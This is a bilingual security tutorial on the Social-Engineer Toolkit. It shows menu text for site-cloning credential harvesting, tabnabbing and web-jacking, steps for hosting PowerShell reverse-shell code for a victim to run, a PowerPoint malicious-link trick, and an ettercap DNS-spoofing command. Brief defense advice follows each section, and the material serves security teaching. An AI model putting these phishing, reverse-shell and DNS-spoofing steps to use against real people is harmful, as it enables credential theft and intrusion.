The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

-------------------------------------------------------------------------------
--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this 
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really 
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.10.129]:

--------------------------------------------------------
             **** Important Information ****

For templates, when a POST is initiated to harvest
credentials, you will need a site for it to redirect.

You can configure this option under:

      /etc/setoolkit/set.config

Edit this file, and change HARVESTER_REDIRECT and
HARVESTER_URL to the sites you want to redirect to
after it is posted. If you do not set these, then
it will not redirect properly. This only goes for
templates.

防御收割用户凭证

• 进行用户凭证时，一定要进行域名认证。例如Google登录，认清是否在Google域名下输入。

• 如果在局域网内部要注意是否存在DNS挟持，避免用户凭证信息泄露。

Set工具Powershell code注入

• Powershell code存储在/root/.set/reports/powershell/目录下，通过cat查看shellcode为了方便演示，以及将shellcode移动并重命名到/var/www/html/ps.txt

┌──(root💀kali)-[~/.set/reports/powershell]
└─# cp x86_powershell_injection.txt /var/www/html/ps.txt

• 通过http服务，传递ps脚本并执行。
• 启动apache systemctl start apache2，用户通过浏览器访问到ps.txt，然后在cmd中执行

• 执行完毕之后，返回Kali Linux等待反弹shell。

• 在反弹的shell中可以执行更多命令。

• 等目标用户连接上以后使用sessions -i 序号

防御Powershell code 注入

• 拒绝执行未知安全性的任意代码，安装杀毒软件。

Set工具PowerPoint安全测试与防御

PowerPoint安全测试介绍

• PowerPoint是特别受欢迎的演示软件，但是其中很多功能都极大的方便用户操作。例如设置连接，方便自动调整。但是如果在未知PowerPoint中链接到恶意页面就可能因为点击链接中了恶意代码。

PowerPoint安全测试

• 新建一个PowerPoint幻灯片，其中插入一页PPT，然后插入文本框拖到最大化覆盖整个页面，然后插入链接。

• 发送给目标等待TA点击链接。

  

PowerPoint安全防御

• 切勿打开来历不明的PPT，不访问未知链接。关闭PPT尽量使用ESC或空格。

DNS重定向安全测试与防御

DNS重定介绍

• DNS(Domain Name System)域名系统，负责IP地址与域名进行相互转换。而DNS重定向将设置范围内的用户访问的正确域名转到重定向之后的IP地址中。

ettercap DNS重定向安全测试

• 修改ettercap执行权限，配置/etc/ettercap/etter.conf

• 配置/etc/ettercap/etter.dns，将用户访问的baidu.com重定向到192.168.10.129。

• 使用ettercap工具执行命令ettercap -i eth0 -Tq -P dns-spoof -M arp:remote。在浏览器中访问容易网站。

# -i 指定重定向网卡
# -T 使用文本模式
# -q 安静的进行重定向
# -P 设置插件
# -M ARP欺骗

DNS重定向防御

• 屏蔽重定向的IP地址，通过浏览器审查工具查询。

网络钓鱼防御

网络钓鱼介绍

• 网络钓鱼(Phishing，与钓鱼的英文fishing发音相近，又名钓鱼法)是通过大量发送声明称来自于银行或者其他知名机构的欺骗性垃圾邮箱，意图引诱收件人给出敏感信息(如用户名，口令，账号ID，ATM PIN码或信用卡详细信息)的一种安全测方法。

更好的防御网络钓鱼

• 提高安全意识，绝不做未知的事情(运行未知程序，打开未知文档)。
• 避免在网络中泄露个人真实信息。
